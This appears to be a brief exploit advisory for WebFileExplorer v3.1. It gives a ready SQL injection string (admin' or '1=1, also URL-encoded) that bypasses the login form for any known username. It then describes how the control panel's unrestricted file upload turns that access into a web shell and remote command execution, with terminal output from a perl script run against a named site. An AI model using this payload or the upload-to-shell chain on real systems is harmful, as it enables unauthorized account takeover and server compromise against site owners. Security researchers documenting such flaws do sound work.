WebFileExplorer v3.1, is prone to multiple vulnerabilities. At first, an attacker can inject his evil sql code
in the login form, bypassing it, he just needs to know the nick of an existent username to login as him.

Sending this request a remote attacker is able to bypass the login form.
The sql injection used is: admin%27+or+%271%3D1
so                       : admin' or '1=1

Once the attacker logged in, from the Control Panel he's able to do a lot of things, upload all file of any
extension, create files of any type, and so on. So this normal Authority Bypass can become a dangerous
Arbitrary Shell Upload, so kinda of Remote Command Execution.

Let's see now, the response of the created file:

osirys[~]>$ perl asd.txt http://www.webfileexplorer.com/admindemo/demo/er/test_.php                                                                  I'm horn<br>
osirys[~]>$

Game Over.
